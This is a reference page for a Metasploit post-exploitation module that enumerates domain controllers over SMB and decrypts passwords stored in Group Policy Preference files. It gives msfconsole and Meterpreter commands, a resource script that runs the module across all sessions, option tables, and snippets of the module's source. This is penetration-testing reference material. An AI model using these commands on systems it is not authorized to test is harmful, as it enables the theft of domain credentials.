Windows Gather Group Policy Preference Saved Passwords - Metasploit


This page contains detailed information about how to use the post/windows/gather/credentials/gpp metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
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Module Overview

Name: Windows Gather Group Policy Preference Saved Passwords
Module: post/windows/gather/credentials/gpp
Source code: modules/post/windows/gather/credentials/gpp.rb
Disclosure date: -
Last modification time: 2022-09-23 17:41:20 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module enumerates the victim machine's domain controller and connects to it via SMB. It then looks for Group Policy Preference XML files containing local user accounts and passwords and decrypts them using Microsofts public AES key. Cached Group Policy files may be found on end-user devices if the group policy object is deleted rather than unlinked. Tested on WinXP SP3 Client and Win2k8 R2 DC.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/windows/gather/credentials/gpp

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/windows/gather/credentials/gpp
msf post(gpp) > show options
    ... show and set options ...
msf post(gpp) > set SESSION session-id
msf post(gpp) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/windows/gather/credentials/gpp")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options

  • SESSION: The session to run this module on.

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Msfconsole Usage

Here is how the windows/gather/credentials/gpp post exploitation module looks in the msfconsole:

msf6 > use post/windows/gather/credentials/gpp

msf6 post(windows/gather/credentials/gpp) > show info

       Name: Windows Gather Group Policy Preference Saved Passwords
     Module: post/windows/gather/credentials/gpp
   Platform: Windows
       Arch: 
       Rank: Normal

Provided by:
  Ben Campbell <[email protected]>
  Loic Jaquemet <[email protected]>
  scriptmonkey <[email protected]>
  theLightCosine <[email protected]>
  mubix <[email protected]>

Compatible session types:
  Meterpreter

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  ALL      true             no        Enumerate all domains on network.
  DOMAINS                   no        Enumerate list of space separated domains DOMAINS="dom1 dom2".
  SESSION                   yes       The session to run this module on.
  STORE    true             no        Store the enumerated files in loot.

Description:
  This module enumerates the victim machine's domain controller and 
  connects to it via SMB. It then looks for Group Policy Preference 
  XML files containing local user accounts and passwords and decrypts 
  them using Microsofts public AES key. Cached Group Policy files may 
  be found on end-user devices if the group policy object is deleted 
  rather than unlinked. Tested on WinXP SP3 Client and Win2k8 R2 DC.

References:
  http://msdn.microsoft.com/en-us/library/cc232604(v=prot.13)
  http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html
  http://blogs.technet.com/grouppolicy/archive/2009/04/22/passwords-in-group-policy-preferences-updated.aspx
  https://labs.portcullis.co.uk/blog/are-you-considering-using-microsoft-group-policy-preferences-think-again/
  https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2014/MS14-025

Module Options

This is a complete list of options available in the windows/gather/credentials/gpp post exploitation module:

msf6 post(windows/gather/credentials/gpp) > show options

Module options (post/windows/gather/credentials/gpp):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   ALL      true             no        Enumerate all domains on network.
   DOMAINS                   no        Enumerate list of space separated domains DOMAINS="dom1 dom2".
   SESSION                   yes       The session to run this module on.
   STORE    true             no        Store the enumerated files in loot.

Advanced Options

Here is a complete list of advanced options supported by the windows/gather/credentials/gpp post exploitation module:

msf6 post(windows/gather/credentials/gpp) > show advanced

Module advanced options (post/windows/gather/credentials/gpp):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions

This is a list of all post exploitation actions which the windows/gather/credentials/gpp module can do:

msf6 post(windows/gather/credentials/gpp) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the windows/gather/credentials/gpp post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(windows/gather/credentials/gpp) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

DOMAINS must not contain DNS style domain names e.g. 'mydomain.net'. Instead use 'mydomain'.

Here is a relevant code snippet related to the "DOMAINS must not contain DNS style domain names e.g. 'mydomain.net'. Instead use 'mydomain'." error message:

98:	    end
99:	
100:	    # Add user specified domains to list.
101:	    unless datastore['DOMAINS'].blank?
102:	      if datastore['DOMAINS'].match(/\./)
103:	        print_error "DOMAINS must not contain DNS style domain names e.g. 'mydomain.net'. Instead use 'mydomain'."
104:	        return
105:	      end
106:	      user_domains = datastore['DOMAINS'].split(' ')
107:	      user_domains = user_domains.map { |x| x.upcase }
108:	      print_status "Enumerating the user supplied Domain(s): #{user_domains.join(', ')}..."

Could not access <TPATH> : <E.MESSAGE>

Here is a relevant code snippet related to the "Could not access <TPATH> : <E.MESSAGE>" error message:

189:	              next if sub2 =~ /^(\.|\.\.)$/
190:	
191:	              locals << "#{tpath}\\#{sub2}\\"
192:	            end
193:	          rescue Rex::Post::Meterpreter::RequestError => e
194:	            print_error "Could not access #{tpath}  : #{e.message}"
195:	          end
196:	        end
197:	      end
198:	    rescue Rex::Post::Meterpreter::RequestError => e
199:	      print_error "Error accessing #{base} : #{e.message}"

Error accessing <BASE> : <E.MESSAGE>

Here is a relevant code snippet related to the "Error accessing <BASE> : <E.MESSAGE>" error message:

194:	            print_error "Could not access #{tpath}  : #{e.message}"
195:	          end
196:	        end
197:	      end
198:	    rescue Rex::Post::Meterpreter::RequestError => e
199:	      print_error "Error accessing #{base} : #{e.message}"
200:	    end
201:	    return locals
202:	  end
203:	
204:	  def find_path(path, xml_path)

Received error code <E.CODE> when reading <PATH>

Here is a relevant code snippet related to the "Received error code <E.CODE> when reading <PATH>" error message:

251:	        retobj[:name] = gpo_name if retobj[:guid] == gpo_guid
252:	      end
253:	
254:	      return retobj
255:	    rescue Rex::Post::Meterpreter::RequestError => e
256:	      print_error "Received error code #{e.code} when reading #{path}"
257:	      return nil
258:	    end
259:	  end
260:	
261:	  def parse_xml(xmlfile)

Cannot enumerate domain name contains disallowed characters: <DOMAIN>

Here is a relevant code snippet related to the "Cannot enumerate domain name contains disallowed characters: <DOMAIN>" error message:

330:	  def enum_dcs(domain)
331:	    hostnames = nil
332:	    # Prevent crash if FQDN domain names are searched for or other disallowed characters:
333:	    # http://support.microsoft.com/kb/909264 \/:*?"<>|
334:	    if domain =~ /[:\*?"<>\\\/.]/
335:	      print_error("Cannot enumerate domain name contains disallowed characters: #{domain}")
336:	      return nil
337:	    end
338:	
339:	    print_status("Enumerating DCs for #{domain} on the network...")
340:	    results = net_server_enum(SV_TYPE_DOMAIN_CTRL | SV_TYPE_DOMAIN_BAKCTRL, domain)

No Domain Controllers found for <DOMAIN>

Here is a relevant code snippet related to the "No Domain Controllers found for <DOMAIN>" error message:

338:	
339:	    print_status("Enumerating DCs for #{domain} on the network...")
340:	    results = net_server_enum(SV_TYPE_DOMAIN_CTRL | SV_TYPE_DOMAIN_BAKCTRL, domain)
341:	
342:	    if results.blank?
343:	      print_error("No Domain Controllers found for #{domain}")
344:	    else
345:	      hostnames = []
346:	      results.each do |dc|
347:	        print_good "DC Found: #{dc[:name]}"
348:	        hostnames << dc[:name]

No DC found in registry

Here is a relevant code snippet related to the "No DC found in registry" error message:

360:	      v_name = "DCName"
361:	      dc = registry_getvaldata(subkey, v_name).gsub(/\\/, '').upcase
362:	      print_status "Retrieved DC #{dc} from registry"
363:	      return dc
364:	    rescue
365:	      print_status("No DC found in registry")
366:	    end
367:	  end
368:	
369:	  def get_domain_reg
370:	    locations = []

Received error code <E.CODE> - <E.MESSAGE>

Here is a relevant code snippet related to the "Received error code <E.CODE> - <E.MESSAGE>" error message:

385:	      begin
386:	        subkey = location[0]
387:	        v_name = location[1]
388:	        domain = registry_getvaldata(subkey, v_name)
389:	      rescue Rex::Post::Meterpreter::RequestError => e
390:	        print_error "Received error code #{e.code} - #{e.message}"
391:	      end
392:	
393:	      unless domain.blank?
394:	        domain_parts = domain.split('.')
395:	        domains << domain.split('.').first.upcase unless domain_parts.empty?

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References

See Also

Check also the following modules related to this module:

Authors

  • Ben Campbell
  • Loic Jaquemet <loic.jaquemet+msf[at]gmail.com>
  • scriptmonkey <scriptmonkey[at]owobble.co.uk>
  • theLightCosine
  • mubix

Version

This page has been produced using Metasploit Framework version 6.2.29-dev. For more modules, visit the Metasploit Module Library.

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